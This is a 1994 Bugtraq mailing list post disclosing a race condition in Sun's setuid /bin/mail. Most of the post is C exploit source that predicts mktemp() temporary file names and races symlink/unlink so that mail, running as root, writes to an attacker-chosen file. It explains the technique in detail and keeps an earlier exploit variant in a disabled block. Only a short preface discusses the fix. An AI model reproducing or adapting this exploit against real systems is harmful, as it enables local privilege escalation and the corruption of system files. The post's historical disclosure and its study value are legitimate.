Bugtraq mailing list archives

For example ...


From: hobbit () bronze lcs mit edu (*Hobbit*)
Date: Thu, 1 Dec 1994 01:52:31 -0500


Here's what I would consider a "real" bug report.  I don't have a fix handy,
other than suggesting that one overwrite Sun's /bin/mail crock with a
militrary-grade erase pattern, burn any backup tapes it is on, and replace it
with something like the bsd44 "mail.local" or "deliver" or similar things that
are much better written, using mkstemp(), fchown/fchmod, and such.

This should get you thinking [again!] about *anything* that runs setuid
and calls the old mktemp.

[Hey aleph, does this up the usefulness percentage?]

_H*

====================
/* Improved version of recent mktemp-bashing mailrace.  Doesn't come
   with a script; you get to figure it out.  _H*/

#define TARGET "/etc/fuckme"

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(ac,av)  int ac; char **av;
{
        unsigned int pid,bpid;  /* Some machines don't have pid_t */
        int i;
        char target[13];

        if (ac == 1) exit (1);

        /* "initialize, dammit" */
        memset (target, 0, 13);

/* some binmails use /tmp/maXXXXX, not maaXXXX.  Try taking a copy of
   /bin/mail and tracing it, to see what's actually using. */

        strcpy (target,"/tmp/maa");  /* either this or "/tmp/ma" */
                /* General format for binmail temp names */

                if ((pid = fork())==0) { 
                   sleep (1);
                   nice (19);  /* Increase our chances and ... */
#ifdef DEBUG
/* This was kinda fun to play with, and read the traces from both the
   invocation and the forked-off mail. */
execl ("/bin/trace","trace","-o","yyy","./mail","-e",0);
#else
                   execl ("/bin/mail","mail","-e",0); /* Fork binmail */
#endif
                }

#ifdef DEBUG
/* trace will fork again.  This may not work on a busy system! */
        pid++;          
#endif
        bpid=pid;  /* back up our pid for a later time */

        for (i=11;i>=8;i--) {   /* either this or >= 7 */
           target[i]=(pid%10) + '0'; 
                /* Make the name for the tempfile */
                pid /= 10;
        }

/* Explanation of improved strategy, so we all understand this...

Mail starts off very early by doing a mktemp() to make a temp file name.
We meanwhile have ponied up this same name because we know the pid of the
process and how mktemp() works.  We both arrive at /tmp/ma01234, say.
This file must NOT exist for mail's mktemp() to come up with the same name;
this is where the race really is.  The chances are probably about 50-50 that
mail's mktemp will not see the file present and hand back the same name.

Mail tries to delete /tmp/ma01234 in case it was somehow there already --
probably a primitive attempt to evade symlink-hacks.  [Can *you* envision
a day when it went blindly ahead and opened the file?  I can...]

Meanwhile, we are spinning in a loop, unlinking and symlinking and unlinking
and symlinking to our real target, waiting for unlink [as opposed to link]
to fail.  The trick is that if *mail* deletes the symlink we created, we
know [because *our* unlink() returns -1] and from then on, we're golden,
because mail shortly thereafter fopens the tmp file [still as root, and withOUT
checking again!] and copies /usr/spool/mail/me in its entirety into the target.

I added "-e" to the mail flags, which causes it to exit with a status right
after doing the above copy with no further ado.  Obviously if we're successful,
the target file is created and/or overwritten, with our umask, yet...
*/
        symlink (av[1], target);
        while (! unlink (target)) symlink (av[1], target);
/* as soon as unlink fails, that means that mail did it.  Reinstall it
   and wait for mail to do the dirty.. */
        symlink (av[1], target);
        sleep (3);
        printf ("Tmp file wound up being %s\n", target);
        unlink (target);
        exit (0);
/* If it never exits, that means you missed, and mail is using some other
   temp file name.  ^C out and clean up after yourself. */

#if 0
The original code is presented here for posterity.  From studying the
recently posted Sun binmail source, I'm not sure why this code worked at all;
it is almost less reliable.  Would the original authors care to explain
their reasoning as I did above, and describe precisely where they're inserting
their crowbar??

        while (!symlink(TARGET,target)) unlink (target); 
                /* Point that mktemp()'d file to the pot of gold */
        while (symlink(TARGET,target)) unlink (target);
                /* Probably not necessary, but what the heck */
        kill(bpid,1);  /* Clean up, don't want to lag the system */     
#endif
}



Current thread: